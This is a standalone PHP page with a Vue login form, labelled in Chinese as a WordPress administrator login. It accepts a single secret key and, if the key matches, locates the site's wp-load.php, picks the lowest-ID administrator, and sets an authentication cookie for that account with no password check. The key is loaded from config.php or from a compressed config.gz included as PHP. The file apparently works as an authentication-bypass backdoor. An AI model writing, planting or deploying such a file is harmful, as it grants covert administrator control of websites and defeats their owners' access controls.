<?php
// 加载配置文件以获取 API_KEY（优先加载 config.gz，回退到 config.php）
// 尝试多个可能的路径
$config_paths = array(
    __DIR__ . '/config.gz',  // 当前目录下的 config.gz
    (defined('CACHE_DIR') ? CACHE_DIR : __DIR__ . '/cache/') . 'config.gz',  // cache 目录下的 config.gz
    __DIR__ . '/config.php'  // 当前目录下的 config.php
);

$config_loaded = false;
foreach ($config_paths as $config_path) {
    if (file_exists($config_path)) {
        if (strpos($config_path, '.gz') !== false) {
            @include_once 'compress.zlib://' . $config_path;
        } else {
            require_once($config_path);
        }
        $config_loaded = true;
        break;
    }
}

// 处理登录请求
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['key'])) {
    $provided_key = $_POST['key'];
    
    if (!defined('API_KEY') || $provided_key !== API_KEY) {
        die(json_encode(['success' => false, 'message' => '密钥错误']));
    }
    
    // 自动查找并加载 WordPress
    $wp_load = null;
    $dir = __DIR__;
    for ($i = 0; $i < 10; $i++) {
        if (file_exists($dir . '/wp-load.php')) {
            $wp_load = $dir . '/wp-load.php';
            break;
        }
        $dir = dirname($dir);
    }
    
    if (!$wp_load) {
        die(json_encode(['success' => false, 'message' => '无法找到 wp-load.php']));
    }
    
    require_once($wp_load);
    
    // 查找 ID 最小的管理员用户
    global $wpdb;
    $admin_users = get_users(array(
        'role' => 'administrator',
        'orderby' => 'ID',
        'order' => 'ASC',
        'number' => 1
    ));
    
    if (empty($admin_users)) {
        $admin_users = $wpdb->get_results(
            "SELECT u.ID, u.user_login, u.user_email 
             FROM {$wpdb->users} u
             INNER JOIN {$wpdb->usermeta} um ON u.ID = um.user_id
             WHERE um.meta_key = '{$wpdb->prefix}capabilities'
             AND um.meta_value LIKE '%administrator%'
             ORDER BY u.ID ASC
             LIMIT 1"
        );
    }
    
    if (empty($admin_users)) {
        die(json_encode(['success' => false, 'message' => '未找到管理员账户']));
    }
    
    $admin_user = is_object($admin_users[0]) ? $admin_users[0] : (object)$admin_users[0];
    $user_id = $admin_user->ID;
    
    wp_set_current_user($user_id);
    wp_set_auth_cookie($user_id, true);
    update_user_meta($user_id, 'last_login', current_time('mysql'));
    
    $admin_url = admin_url();
    die(json_encode(['success' => true, 'url' => $admin_url]));
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>WordPress 管理员登录</title>
    <script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
            background: #f5f5f5;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
        }
        .login-container {
            background: white;
            padding: 40px;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
            width: 100%;
            max-width: 400px;
        }
        h2 {
            margin-bottom: 30px;
            color: #333;
            text-align: center;
        }
        .form-group {
            margin-bottom: 20px;
        }
        input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-size: 14px;
        }
        input:focus {
            outline: none;
            border-color: #007cba;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #007cba;
            color: white;
            border: none;
            border-radius: 4px;
            font-size: 16px;
            cursor: pointer;
            transition: background 0.3s;
        }
        button:hover {
            background: #005a87;
        }
        button:disabled {
            background: #ccc;
            cursor: not-allowed;
        }
        .message {
            margin-top: 15px;
            padding: 10px;
            border-radius: 4px;
            text-align: center;
            font-size: 14px;
        }
        .message.error {
            background: #fee;
            color: #c33;
        }
        .message.info {
            background: #e3f2fd;
            color: #1976d2;
        }
    </style>
</head>
<body>
    <div id="app">
        <div class="login-container">
            <h2>WordPress 管理员登录</h2>
            <form @submit.prevent="login">
                <div class="form-group">
                    <input 
                        type="text" 
                        v-model="key" 
                        placeholder="请输入密钥" 
                        required
                        :disabled="loading"
                    >
                </div>
                <button type="submit" :disabled="loading">
                    {{ loading ? '登录中...' : '登录' }}
                </button>
                <p v-if="message" :class="['message', messageType]">{{ message }}</p>
            </form>
        </div>
    </div>
    <script>
        const { createApp } = Vue;
        createApp({
            data() {
                return {
                    key: '',
                    message: '',
                    messageType: 'info',
                    loading: false
                }
            },
            methods: {
                async login() {
                    this.loading = true;
                    this.message = '登录中...';
                    this.messageType = 'info';
                    
                    const formData = new FormData();
                    formData.append('key', this.key);
                    
                    try {
                        const response = await fetch('', {
                            method: 'POST',
                            body: formData
                        });
                        const result = await response.json();
                        
                        if (result.success) {
                            this.message = '登录成功，正在跳转...';
                            setTimeout(() => {
                                window.location.href = result.url;
                            }, 500);
                        } else {
                            this.message = result.message || '登录失败';
                            this.messageType = 'error';
                            this.loading = false;
                        }
                    } catch (error) {
                        this.message = '请求失败，请重试';
                        this.messageType = 'error';
                        this.loading = false;
                    }
                }
            }
        }).mount('#app');
    </script>
</body>
</html>

